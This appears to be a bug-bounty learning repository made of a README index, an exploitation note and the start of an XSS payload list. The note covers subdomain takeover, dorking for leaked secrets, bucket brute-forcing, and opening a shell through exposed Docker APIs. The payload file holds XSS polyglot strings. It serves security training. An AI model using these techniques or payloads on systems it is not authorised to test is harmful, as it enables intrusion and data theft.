16 | 17 | :point\_right: A Bug Bounty Program is a deal offered by several Oragnizations & Individuals by which recognition and compensation is provided to individuals for reporting Bugs. 18 | 19 | You can Fork this Repo, I'm continuously adding the content! 20 | 21 | ## Contents 22 | :point\_right: The repo is organized in following manner. You can read the notes: 23 | 1. [Reconnaissance - Phase 1](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance-%20Phase1.md) 24 | 1. [CIDR Range](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance-%20Phase1.md#1-cidr-range) 25 | 2. [Google Dorking](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Reconnaissance-%20Phase1.md#2-google-dorking) 26 | 3. [Tools](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Reconnaissance-%20Phase1.md#3-tools---amass) 27 | 2. [Reconnaissance - Phase 2](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md) 28 | 1. [Wordlists](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#1-wordlists) 29 | 2. [Subdomain Enumeration](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#2-subdomain-enumeration) 30 | 1. [Certification Transparency Logs](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#21-certification-transparency-logs) 31 | 2. [Search Engine](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#22-search-engine) 32 | 3. [Github](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#24-github) 33 | 4. [Brute Force](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#25-brute-force) 34 | 5. [Subdomain Permutation](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#26-subdomain-permutation) 35 | 6. [Tools](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#27-tools) 36 | 3. [DNS Resolutions](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#3-dns-resolutions) 37 | 4. [Screenshot](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#4-screen-shot) 38 | 5. [Content Discovery](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#5-content-discovery) 39 | 6. [Inspecting JS Files](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#6-inspecting-js-files) 40 | 7. [Google Dorks](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#7-google-dorks) 41 | 8. [Conclusion](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#conclusion) 42 | 3. [Fingerprinting](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md) 43 | 1. [IP](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#1-ip) 44 | 2. [Web-Application](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#2-web-applications) 45 | 1. [Wapalyzer](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#22-wappalyzer) 46 | 2. [Firewall](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#23-firewall) 47 | 3. [Conclusion](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#conclusion) 48 | 4. [Exploitation - Part 1](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md) 49 | 1. [Subdomain Takeover](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#1-subdomain-takeover) 50 | 2. [Github](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#2-github) 51 | 3. [Misconfigured Cloud Storage Buckets](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#3-misconfigured-cloud-storage-buckets) 52 | 4. [Elastic Search DB](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#4-elastic-search-db) 53 | 5. [Docker API](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#5-docker-api) 54 | 6. [Kuberneter API](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#6-kubernetes-api) 55 | 7. [.git/.svn](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#7-git--svn) 56 | 8. [Google Firebase](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#8-google-firebase-updated) 57 | 5. [Exploitation - Part 2](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md) 58 | 1. [Exploiting CMS](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#1exploiting-cms) 59 | 2. [Exploiting OWASP](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#2-eploitation-owasp) 60 | 1. [XML Extended Entity (XXE)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#21-xml-external-entity-xxe) 61 | 2. [Cross Site Scripting (XXS)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#22-cross-site-scripting-xss) 62 | 3. [Server-Side Request Forgery (SSRF)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#23-ssrf) 63 | 4. [Cross Side Request Forgery (CSRF)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#24-cross-site-request-forgery-csrf) 64 | 5. [SQL Injection](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#25-sql-injection) 65 | 6. [Command Injection](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#26-command-injection) 66 | 7. [Cross Site Web Socket Hijacking (CSWSH)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#27-cross-site-web-socket-hijacking-cswsh) 67 | 8. [File Upload](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#28-file-upload-updated) 68 | 9. [Directory Traversal](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#29-directory-traversal-updated) 69 | 10. [Open Redirect](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#210-open-redirect-updated) 70 | 11. [Insecure Direct Object Reference ](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#211-insecure-direct-object-reference-idor-updated) 71 | 6. [Methodology - Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md) 72 | 1. [Traditional Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#1-traditional-workflow) 73 | 2. [Github Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#2-github-workflow) 74 | 3. [Cloud Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#3-cloud-workflow) 75 | 4. [Google Dork Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#4-google-dork--workflow) 76 | 5. [Leaked Credentials Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#5-leaked-credentials-workflow) 77 | 6. [Exploit Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#6-exploit-workflows) 78 | 7. [API-Pentesting](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/API-Testing.md) 79 | 1. [APIs](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/API-Testing.md#1-apis) 80 | 2. [Authentication](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/API-Testing.md#2-authentication) 81 | 8. [Caching Servers](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Caching%20Servers.md) 82 | 1. [Web Cache Poisoning](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Caching%20Servers.md#1-web-cache-poisoning) 83 | 2. [Web Cache Deception](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Caching%20Servers.md#2-web-cache-deception) 84 | 9. [Miscellaneous](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md) 85 | 1. [On Site Request Forgery (OSRF)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#1-on-site-request-forgery-osrf) 86 | 2. [Prototype Pollution](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#2-prototype-pollution) 87 | 3. [Client Side Template Injection](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#3-client-side-template-injection) 88 | 4. [XML External Entity](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#4-xml-external-entity-xxe) 89 | 5. [Content Security Policy Bypass](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#5-content-security-policy-bypass) 90 | 6. [Relative Path Overwrite](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#6-relative-path-overwrite-rpo) 91 | 92 | ## Bug-Hunting Platforms 93 | Following are some of the top Bug-Hunting Platforms. You can make your account and start hunting bugs for the programs available. 94 | - [Hackerone](https://www.hackerone.com/) 95 | - [Bugcrowd](https://bugcrowd.com/) 96 | - [Intigriti](https://www.intigriti.com/) 97 | - Responsible Disclosures [(Use Google Dorks To Find Programs)](https://github.com/sushiwushi/bug-bounty-dorks/blob/master/dorks.txt) 98 | 99 | Note: This Repo is under development, Only Notes have been added till now. Separate Section for Tools, POCs and Tricks will be created soon 100 | ### ➡️ Contributions 101 | You are Welcome to Contribute. You can contribute by: 102 | - Translating into other languages 103 | - Adding more Methodologies, Tools, and other Resources. 104 | - Just adding a star to our Github project :) 105 | 106 | :point\_right: If you have some new idea about this Repository, issue, feedback or found some valuable tool feel free to open an issue or just DM me via [@IamLucif3r_](https://twitter.com/IamLucif3r_) 107 | -------------------------------------------------------------------------------- /Notes/Exploitation Phase 1.md: -------------------------------------------------------------------------------- 1 | # Exploitation Phase - [Part-1] 2 | - When searching for vulnerabilities I always start out looking for low hanging fruit. 3 | ## 1. Subdomain Takeover 4 | ### 1.1 Intro 5 | - Searching for subdomain takeovers is one of the easiest vulnerabilities you can find and it normally pays fairly well. 6 | - A subdomain takeover occurs when a domain is pointing to another domain (CNAME) that no longer exists. 7 | - If an attacker were to register that non existing domain then the targets subdomain would now point to your domain effectively giving you full control over the target’s subdomain. 8 | 9 | ### 1.2 Subdomain Takeover 10 | - You should be searching for subdomain takeovers on a daily basis. Just because you checked your target yesterday doesn't mean they are safe today. 11 | - Before you can check for subdomain takeover you need to get a list of your target’s subdomains, this should have been done during the recon phase 12 | - Once you have a list of subdomains checking for this vulnerability should only take about 5 minutes with the following tool: 13 | - https://github.com/haccer/subjack 14 | ```bash 15 | ./subjack -w -o results.txt -ssl -c fingerprints.json 16 | ``` 17 | 18 | - The next step is to see where this domain is pointing to so we can try to take it over 19 | ```bash 20 | dig 21 | ``` 22 | 23 | --- 24 | ### 1.2.1 [Updated] Subdomain Takeover 25 | - What makes this vulnerability so interesting is that you can be safe one minute and a single DNS change can make you vulnerable the next minute. 26 | ![](assets/subd.png) 27 | - The vulnerability here is that the target subdomain points to a domain that does not exist. An attacker can then register the non existing domain. Now the target subdomain will point to a domain the attacker controls. 28 | ![](assets/vulnsub.png) 29 | - You can take reference of the following Github Page if going for subdomain Takeover: 30 | - https://github.com/EdOverflow/can-i-take-over-xyz 31 | ### Github Takeover 32 | - One of the easiest ways to spot a subdomain takeover vulnerability is by the error message it throws as shown below: 33 | ![](assets/subvul.png) 34 | - you can follow the tutorial in the subdomain takeover github page as shown below: 35 | ![](assets/proc.png) 36 | --- 37 | ### 1.3 Conclusion 38 | - Subdomain takeover is one of the easiest high impact vulnerabilities you can search for. As long as you have a list of subdomains checking for this vulnerability is a matter of running a command. Administrators are constantly changing DNS setting so a company may be safe one day and vulnerable the next because of this it’s a good idea to constantly check for this vulnerability. 39 | - --- 40 | 41 | ## 2. Github 42 | - When performing your initial recon on an organization don’t forget about GitHub. GitHub is used by developers to maintain and share their code, most of the time they end up sharing much more though. 43 | 44 | ### 2.1 Github Dorks 45 | - GitHub dorks are basically the same thing as google dorks. A dork is used to find specific information in a sea of information. It helps us narrow down the search to exactly what we want. 46 | - This can be very handy when searching for sensitive files, API keys, passwords, and a lot more. 47 | - We can use dorks to find sensitive files that developers might have accidentally uploaded. 48 | - filename:.bash_history DOMAIN-NAME 49 | - A good list of these dorks can be found below: 50 | - https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt 51 | 52 | ### 2.2 Company Github 53 | - Instead of using GitHub dorks to find exposures you might want to go directly to the source. To do this you must find the companies GitHub page and from there you can locate all their developers and monitor their accounts. 54 | - Once you find a company's page you want to get a list of people that are associated with the company. This can be done by clicking on the “people” tab. 55 | - Now you will need to manually go through each one and look for exposures. 56 | - You should be looking for URLs, api keys, usernames, paswords, vulnerabilities, and anything else that could provide value. 57 | 58 |
59 | 60 | ## 3. Misconfigured Cloud Storage Buckets 61 | - Today companies are moving their infrastructure to the cloud as it is more convenient to ent resources from third parties. However, cloud services can be tricky to set up roperly if you don’t know what you’re doing thus people mess things up and introduce vulnerabilities into their environment. 62 | - One of the most popular vulnerabilities is finding an exposed cloud storage bucket. These buckets are used to store files so depending on what's in the bucket you might have access to sensitive information. 63 | 64 | ### 3.1 AWS S3 Bucket 65 | - Amazon Web Services (AWS) is by far the most popular cloud service provider out there. The vast majority of cloud instances you come across will be hosted on this provider. 66 | 67 | #### 3.1.1 Bucket Dorks 68 | - google dork can be used to find buckets belonging to a company: 69 | - site:.s3.amazonaws.com "Starbucks" 70 | 71 | #### 3.1.2 S3 Bucket Brute force 72 | - There are way too many S3 bucket brute force tools: 73 | - https://github.com/ghostlulzhacks/s3brute 74 | ```Bash 75 | python amazon-s3-enum.py -w BucketNames.txt -d 76 | ``` 77 | - If you go to the vulnerable endpoint you should be able to list all files in the bucket. You should be looking for sensitive files such as backup files, zip files, user data, and any other PII information 78 | 79 | ### 3.2 Google Cloud Storage 80 | - The following tool can be used to brute force these bucket names. Similar to by AWS tool it uses permutations to generate bucket names. 81 | - https://github.com/RhinoSecurityLabs/GCPBucketBrute 82 | - Once you find a vulnerable endpoint visit it and search for sensitive files siilar to the AWS process. 83 | 84 | ### 3.3 Digital Ocean Spaces 85 | - If you are familiar with S3 buckets Digital ocean spaces are literally the same exact technology 86 | ```Bash 87 | site:digitaloceanspaces.com 88 | ``` 89 | - This will give you sensitive files. 90 | 91 | 92 | ## 4. Elastic Search DB 93 | - ES is a document-oriented database designed to store, retrieve, and manage document-oriented or semi-structured data. When you use Elasticsearch, you store data in JSON document form. Then, you query them for retrieval. 94 | - You have probably heard of the popular relational database called MySQL. Elastic search like MySQL is a database used to hold and query information. 95 | - However, elastic search is typically used to perform full text searches on very large datasets. 96 | - Documents are basically a json blob that hold your data as shown in the example below: 97 | {"id":1, "name":"ghostlulz", "password":"SuperSecureP@ssword"} 98 | 99 | ### 4.1 Unauthenticated Elasticsearch DB 100 | - Elastic search has an http server running on port 9200 that can be used to query the database. The major issue here is that a lot of people expose this port to the public internet without any kind of authentication. 101 | - This means anyone can query the database and extract information. A quick Shodan search will produce a tun of results as shown below: 102 | ![](assets/es.png) 103 | - Once you have identified that your target has port 9200 open you can easily check if it is an Elasticsearch database by hitting the root directory with a GET request. The response should look something like: 104 | 105 | ![](assets/es2.png) 106 | 107 |
108 | 109 | ## 5. Docker API 110 | - When you install docker on a system it will expose an API on your local host located on port 2375. This API can be used to interact with the docker engine which basically gives you the right to do anything you desire unauthenticated. 111 | - Under these conditions no external party will be able to access your docker API as it isn't exposed to the world. However, in certain instances this API can be changed so that it can be accessed by external resources. 112 | - Once you have confirmed that a docker API is exposed I will generally move to the CLI version of docker. From the CLI you can execute the following command to get a list of containers that are currently being ran: 113 | ```Bash 114 | docker -H : ps 115 | ``` 116 | 117 | - We can easily pop a shell in a container by running the following command: 118 | ```bash 119 | Docker -H : exec -it /bin/bash 120 | ``` 121 | - You aren't just limited to popping a shell on their docker container, you can do other things such as deploying your own docker containers. 122 | 123 |
124 | 125 | ## 6 Kubernetes API 126 | - Kubernetes exposes an unauthenticated REST API on port 10250. If developers aren’t careful this API can be exposed to the internet. 127 | - A quick Shodan search will find a bunch of these services. 128 | - ![](assets/kub-api.png) 129 | - Once a Kubernetes service is detected the first thing to do is to get a list of pods by sending a GET request to the /pods endpoint. 130 | 131 |
132 | 133 | ## 7. .git / .svn 134 | - Source code repositories like GitHub are extremely popular. A lot of people will simple copy down a git directory and throw it on their website without realizing they might have just exposed their sites source code to the world. 135 | - Git and ubversion are two of the most popular revision control systems and they contain hidden file that can cause a lot of harm if uploaded to your website. 136 | 137 | ### 7.1 Git 138 | - Git is a revision control system and it contains a hidden folder “.git” . This folder basically acts as a snapshot for your project. Every-time you create a file git will compresses it and stores it into its own data structure. 139 | - You can then recreate the repository which will contain the websites source code. To recreate the repository, you can use the following tool: 140 | - https://github.com/internetwache/GitTools/tree/master/Dumper 141 | - To use the tool type 142 | ```Bash 143 | ./gitdumper.sh https://example.com/.git/ /output-directory/ 144 | ``` 145 | - Next you manually review the source code and look for bugs, vulnerabilities, and exposed passwords. You should treat it as a source code review. 146 | 147 | ### 7.2 Subversion 148 | - Subversion like Git is a revision control system and it contains a hidden folder “.svn” . This folder can also be used to recreate the source code used on the site. 149 | - The following tool can be used to extract the files from the folder: 150 | - https://github.com/anantshri/svn-extractor 151 | - Like Git once everything is download you will manually review the source code and look for bugs, vulnerabilities, and exposed passwords. Basically, treat it as a source code review. 152 | --- 153 | ### 8. Google Firebase [Updated] 154 | - The Firebase Realtime Database is a cloud-hosted database stored as JSON and synchronized in realtime to every connected client. 155 | - Misconfigured Firebase Database 156 | - You can check if user is using Google Firebase by observing the url: 157 | - *.firebaseio.com 158 | - If the developer forgot to enable authentication the database will be exposed to the word. You can easily view the database by appending a “/.json” to the url as shown below: 159 | - vuln-domain.firebaseio.com/.json 160 | 161 | ### 9. Mongo Database [Updated] 162 | - MongoDB is a nosql database that uses JSON-like documents to store data. 163 | - If you're searching for MongoDB instances, be on the lookout for port 27017. 164 | - MongoDB doesn't have authentication enabled by default so to test for this vulnerability just try to login. 165 | ```bash 166 | mongo -ip-address-here 167 | ``` 168 | - ![](assets/mongo.png) 169 | - 170 | -------------------------------------------------------------------------------- /Payloads/XSS-Payloads-1.txt: -------------------------------------------------------------------------------- 1 | " onmouseover=alert(9205) bad=" 2 | "/>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=prompt() )//%0D%0A%0d%0a//\x3csVg/\x3e 3 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e 4 | " onclick=alert(1)//'); 14 | " onclick=alert(1)//